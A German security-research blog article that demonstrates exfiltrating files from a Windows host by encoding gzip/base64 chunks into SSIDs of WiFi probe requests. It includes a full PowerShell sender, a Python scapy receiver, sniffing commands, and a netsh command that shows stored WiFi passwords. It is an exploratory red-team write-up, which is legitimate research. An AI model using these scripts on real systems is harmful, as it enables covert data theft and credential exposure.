Security Testing
Tomaso Vasella
Das IEEE (Institute of Electrical and Electronics Engineers) definiert Wireless Local Area Networks (WLANs) im Standard IEEE 802.11-2020
Im IEEE Standard 802.11 ist der Begriff Service Set als eine Gruppe von Netzwerkgeräten definiert, die Drahtlos miteinander kommunizieren und dabei eine gemeinsame Service Set Identifikation (SSID) verwenden. Die SSID wird meistens als für Menschen lesbare Bezeichnung von Drahtlosnetzwerken verwendet. Gemäss Kapitel 9.4.2.2 des Standards darf sie zwischen 0 und 32 Octets (Bytes) lang sein und beinhaltet in der Regel ASCII- oder UTF-8-codierte Zeichen (womit auch Emoji-SSIDs möglich sind). Der Standard definiert zwar die maximale Länge einer SSID, schreibt aber nicht vor, dass diese Bytes lesbare Zeichen sein müssen. Dementsprechend können grundsätzlich irgendwelche Daten als SSID verwendet werden, wobei nicht alle Netzwerkgeräte korrekt mit Daten umgehen können, die keine lesbaren Zeichen repräsentieren.
Ein Netzwerkgerät, das sich mit einem Drahtlosnetzwerk verbinden möchte, muss dessen SSID kennen. Verfügbare WLAN-Netzwerke können passiv oder mit aktivem Probing gefunden werden. Bei der passiven Detektion wartet das Netzwerkgerät auf entsprechende Signale (Beacons), bei der aktiven Detektion versendet das Gerät selbst Probe Requests, die mit einer Probe Response beantwortet werden können. Die Beacons und die Probe Requests sind WLAN Management Frames, sie sind nicht verschlüsselt und beinhalten die SSID. Geräte wie Mobiltelefone oder Laptops merken sich üblicherweise die Kennungen von Drahtlosnetzwerken, mit denen sie einmal verbunden waren und prüfen anschliessend regelmässig deren Verfügbarkeit. Dies kann dazu missbraucht werden, Geräte zu identifizieren, da die Liste der von ihnen gespeicherten Netzwerkkennungen in der Regel für jedes Gerät individuell ist und es sehr einfach ist, solche Probe Requests mitzulesen. Es ist möglich, sich mit einem Drahtlosnetzwerk zu verbinden, dessen SSID man selbst angibt, beispielsweise wenn das gewünschte Netzwerk seine Präsenz nicht mit Beacons ankündet.
Um in Drahtlosnetzwerken Daten mitzulesen, braucht es einen WLAN-Adapter, der sich in den Monitor- bzw. RFMON-Mode versetzen lässt. Ohne Monitor-Mode können zwar auch Daten mitgelesen werden, nicht aber die hier interessanten Management-Frames. In den folgenden Beispielen wurde dazu ein Edimax USB WLAN Adapter und ein mit Linux betriebenes Raspberry Pi 3 verwendet.
Anzeige der vorhandenen WLAN-Geräte:
[root@pi ~]# iw dev phy#0 Interface wlan0 ifindex 3 wdev 0x1 addr 74:da:38:5e:28:d4 type managed txpower 20.00 dBm
Der Monitor-Mode lässt sich mit folgenden Befehlen aktivieren:
[root@pi ~]# ip link set wlan0 down [root@pi ~]# iw wlan0 set monitor control [root@pi ~]# ip link set wlan0 up [root@pi ~]# iw dev phy#0 Interface wlan0 ifindex 3 wdev 0x1 addr 74:da:38:5e:28:d4 type monitor channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz txpower 20.00 dBm
Alternativ kann man auch tcpdump
mit der Option -I
verwenden, um den Monitor-Mode zu aktivieren. Mit folgendem Befehl können die Probe-Requests von WLAN-Geräten mitgelesen werden, wobei die von den Geräten gesuchten SSIDs in Klammern angezeigt werden:
[root@pi ~]# tcpdump -l -I -i wlan0 type mgt subtype probe-req tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes 16:17:29.799453 311849621us tsft 1.0 Mb/s 2412 MHz 11b -74dBm signal antenna 0 Probe Request (UPC1347F35 5ghz) [1.0* 2.0* 5.5* 11.0* Mbit] 16:17:48.053735 330104063us tsft 1.0 Mb/s 2412 MHz 11b -84dBm signal antenna 0 Probe Request (WDF) [1.0 2.0 5.5 11.0 Mbit] 16:18:08.271175 350321249us tsft 1.0 Mb/s 2412 MHz 11b -84dBm signal antenna 0 Probe Request (Swisscom_Auto_Login) [1.0* 2.0* 5.5* 11.0* Mbit] 16:18:40.048871 382098628us tsft 1.0 Mb/s 2412 MHz 11b -72dBm signal antenna 0 Probe Request (UPC1347F35 5ghz_2GEXT) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 16:18:42.056611 384106457us tsft 1.0 Mb/s 2412 MHz 11b -80dBm signal antenna 0 Probe Request (Swisscom_Auto_Login) [1.0* 2.0* 5.5* 11.0* Mbit] 16:19:46.313880 448363889us tsft 1.0 Mb/s 2412 MHz 11b -82dBm signal antenna 0 Probe Request (zvv2) [1.0* 2.0* 5.5* 6.0 11.0* 12.0 24.0 36.0 Mbit]
Wie wir gesehen haben, kann man selbst SSIDs definieren, nach denen ein Gerät anschliessend mittels Probe Requests sucht und man kann diese Probe Requests bzw. die darin enthaltenen SSIDs einfach mitlesen. Damit braucht es für einen erfolgreichen Datentransfer nur noch folgendes:
Gemäss Spezifikation darf ein solcher Block maximal 32 Bytes gross sein, darf aber irgendwelche Daten enthalten. In einem ersten Versuch wurden deshalb direkt die Bytes der zu versendenden Daten in die SSIDs geschrieben. Es zeigte sich aber, dass die Verwendung von Bytes, die keine ASCII- oder Unicode-Repräsentation haben, zu Datenverlust führten, vermutlich aufgrund von Treibereinschränkungen auf der Sender- oder Empfängerseite. Aus diesem Grund wurde entschieden, die Daten mit Base64 zu Codieren, was aber leider den Nachteil hat, dass die Datengrösse beträchtlich zunimmt.
Um einen realistischen Fall abzubilden, wurde als Senderseite eine Windows 10 Installation verwendet. Windows legt die Informationen über Drahtlosnetzwerke in WLAN-Profilen ab, die sich im XML-Format exportieren und importieren lassen. Auf der Kommandozeile kann man die Profile mit dem Befehl netsh
anzeigen und bearbeiten:
PS C:\> netsh wlan show profiles Profiles on interface Wi-Fi: Group policy profiles (read only) --------------------------------- <None> User profiles ------------- All User Profile : WLAN-37CV3P All User Profile : Fon All User Profile : MikroTik-1CX987 2 All User Profile : MikroTik-1CX987 All User Profile : Swisscom_Wifi All User Profile : FRITZ!Box F840 HC All User Profile : Swisscom-GUEST-1
Bemerkung: mit netsh wlan show profiles name=<name> key=clear
können auch die in WLAN-Profilen gespeicherten Passwörter angezeigt werden.
Möchte man sich per Kommandozeile mit einem noch nicht gespeicherten Netzwerk verbinden, muss zuerst ein entsprechendes Profil definiert werden. Es hat die folgende Struktur:
<?xml version="1.0"?> <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"> <name>Profile Name</name> <SSIDConfig> <SSID> <name>SSID</name> </SSID> <nonBroadcast>true</nonBroadcast> </SSIDConfig> <connectionType>ESS</connectionType> <connectionMode>manual</connectionMode> <MSM> <security> <authEncryption> <authentication>open</authentication> <encryption>none</encryption> <useOneX>false</useOneX> </authEncryption> </security> </MSM> </WLANProfile>
Anschliessend kann es importiert werden:
netsh wlan add profile filename=profile.xml
Es kann nun versucht werden, die Verbindung aufzubauen:
netsh wlan connect name="Profile Name"
Diese Schritte kann man mit einer frei definierbaren SSID durchführen, wobei der letztgenannte Befehl dazu führt, dass Windows die gewünschten Probe Requests versendet. Das Experiment zeigte, dass immer etwa drei oder vier Probe Requests versendet werden, was sich hinsichtlich der Zuverlässigkeit der Datenübertragung als nützlich herausstellte.
Mit diesen Informationen ausgestattet wurde nun das nachfolgende Powershell-Skript erstellt. Es komprimiert die zu übertragende Datei und automatisiert anschliessend die Erstellung der WLAN-Profile und das Versenden der gewünschten Probe-Requests. Dabei wird für jeden Datenblock ein neues WLAN-Profil temporär erstellt und anschliessend wird versucht, sich mit diesem Profil zu verbinden, was die gewünschten Probe-Request auslöst.
# Name of the created WLAN profiles $profileName = "WLAN-1CE987" # prefix to identify our own chunks / probe requests. Could also use MAC address and save 2 bytes. $magic = ":)" # start data identifier $sod = "SOD" # end data identifier $eod = "EOD" $file = $args[0] $bytes = [System.IO.File]::ReadAllBytes("$file") [System.IO.MemoryStream] $memStream = New-Object System.IO.MemoryStream $gzipStream = New-Object System.IO.Compression.GzipStream $memStream, ([IO.Compression.CompressionMode]::Compress) $gzipStream.Write( $bytes, 0, $bytes.Length ) $gzipStream.Close() $memStream.Close() $bytesCompressed = $memStream.ToArray() $b64 = [System.Convert]::ToBase64String($bytesCompressed) $split = $b64 -split '(.{30})' | Where-Object {$_} $WirelessProfile = @' <?xml version="1.0"?> <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"> <name>{0}</name> <SSIDConfig> <SSID> <name>{1}{2}</name> </SSID> <nonBroadcast>true</nonBroadcast> </SSIDConfig> <connectionType>ESS</connectionType> <connectionMode>manual</connectionMode> <MSM> <security> <authEncryption> <authentication>open</authentication> <encryption>none</encryption> <useOneX>false</useOneX> </authEncryption> </security> </MSM> </WLANProfile> '@ $tempProfileXML = [System.IO.Path]::GetTempPath() + [Guid]::NewGuid().ToString() + ".xml" Write-Host -NoNewline "Sending $($split.Count) data chunks" $WirelessProfile -f $profileName, $magic, $sod | Out-File $tempProfileXML netsh wlan add profile filename=$tempProfileXML *> $null netsh wlan connect name="$profileName" *> $null Foreach ($chunk in $split) { Write-Host -NoNewline "." $WirelessProfile -f $profileName, $magic, $chunk | Out-File $tempProfileXML netsh wlan add profile filename=$tempProfileXML *> $null netsh wlan connect name="$profileName" *> $null } $WirelessProfile -f $profileName, $magic, $eod | Out-File $tempProfileXML netsh wlan add profile filename=$tempProfileXML *> $null netsh wlan connect name="$profileName" *> $null Write-Host "Done." netsh wlan delete profile name="$profileName" *> $null Remove-Item $tempProfileXMLEmpfänger
Auf der Empfängerseite wurde das Mitlesen der Daten mit Python und der Bibliothek scapy realisiert. Scapy erlaubt das mitlesen von Netzwerkverlehr und bietet die Möglichkeit, für jedes empfangene Paket eine Funktion (Callback) auszuführen, ist also ideal geeignet für die beabsichtigten Zwecke. Für unsere Anwendung sind nur Probe Requests interessant, diese lassen sich mit einer geeigneten Filteranweisung herausfiltern. Scapy verwendet dafür wie auch tcpdump den BPF-Syntax für die Filterregeln.
#!/usr/bin/env python3 print('Initializing... ', end='', flush=True) import codecs import base64 import gzip from scapy.all import sniff, Dot11ProbeReq iface = 'mon0' magic = ':)' sod = 'SOD' eod = 'EOD' outfile = 'outfile' last_ssid = '' cnt = 0 buf = '' def handler(p): global last_ssid global cnt global buf ssid = codecs.decode(p[Dot11ProbeReq].info, 'ascii') if ssid.startswith(magic) and ssid != last_ssid: last_ssid = ssid if ssid == magic + sod: buf = '' cnt = 0 print("Got start of data, recording data", end='', flush=True) elif ssid == magic + eod: print(f"\nGot end of data after {cnt} chunks. Writing to {outfile}.") try: with open(outfile, 'wb') as of: of.write(gzip.decompress(base64.b64decode(buf))) except Exception: print(f'Error decompressing/writing data. Incomplete transfer?') buf = '' cnt = 0 else: print(".", end='', flush=True) buf += ssid[2:] cnt += 1 if __name__ == "__main__": print('Ready, listening for probe requests.') sniff(iface=iface, filter='type mgt subtype probe-req', prn=handler, store=0)
Ein Mitlesen der Probe Reqests auf Empfängerseite sieht dann etwa folgendermassen aus:
[root@pi ~]# tcpdump -l -I -i wlan0 type mgt subtype probe-req tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes 17:15:35.896536 3797924875us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:35.947552 3797975842us tsft 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:35.964723 3797993055us tsft 1.0 Mb/s 2412 MHz 11b -52dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:38.133580 3800161690us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)H4sIAAAAAAAEAI2X9VfTjePF34xwE5) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:38.201369 3800229475us tsft 1.0 Mb/s 2412 MHz 11b -52dBm signal antenna 0 Probe Request (:)H4sIAAAAAAAEAI2X9VfTjePF34xwE5) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:39.332881 3801360989us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:39.380217 3801408295us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:39.397404 3801425508us tsft 1.0 Mb/s 2412 MHz 11b -50dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:41.958555 3803986634us tsft 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (:)gICkDEVCWmDSHSJsSvmAdIiEjO6SGl) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:42.005754 3804033835us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal antenna 0 Probe Request (:)gICkDEVCWmDSHSJsSvmAdIiEjO6SGl) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
Das Experiment zeigte sich als erstaunlich erfolgreich, Daten konnten unter geeigneten Bedingungen einfach und ohne Datenverlust (Vergleich der Hashwerte) übertragen werden. Allerdings ist die Geschwindigkeit sehr bescheiden, es konnten nur Transferraten von 11 – 12 Bytes pro Sekunde erreicht werden; die Übertragung einer 3.5 KB grossen Datei dauerte über 5 Minuten. Hauptgrund dafür dürfte die Zeit sein, die Windows mit dem Versuch verbringt, sich mit den automatisch generierten WLAN-Profilen zu verbinden. Zu Testzwecken wurden die Verbindungsbefehle automatisch nach jeweils 500 Millisekunden terminiert anstatt zu warten, bis sie selbst enden; dies beschleunigte zwar den Ablauf, führte aber zu beträchtlichem Verlust an Probe Requests und damit zu Datenverlust.
Ausserdem wurde festgestellt, dass die Übertragung anfällig auf Störsignale ist: Ein sich direkt neben dem Empfänger befindliches Bluetooth-Headset hat zum Verlust einzelner Datenpakete bzw. Probe Requests geführt.
Zusammenfassend lässt sich sagen, dass diese Methode eher nicht in realen Red Team Einsätzen verwendet werden kann, weil sie zu langsam und zu störanfällig ist. Für kleine Datenmengen oder in besonderen Fällen könnte es aber eine nützliche, wenn auch etwas umständliche Option sein.
Unsere Spezialisten kontaktieren Sie gern!
Tomaso Vasella
Tomaso Vasella
Tomaso Vasella
Tomaso Vasella
Unsere Spezialisten kontaktieren Sie gern!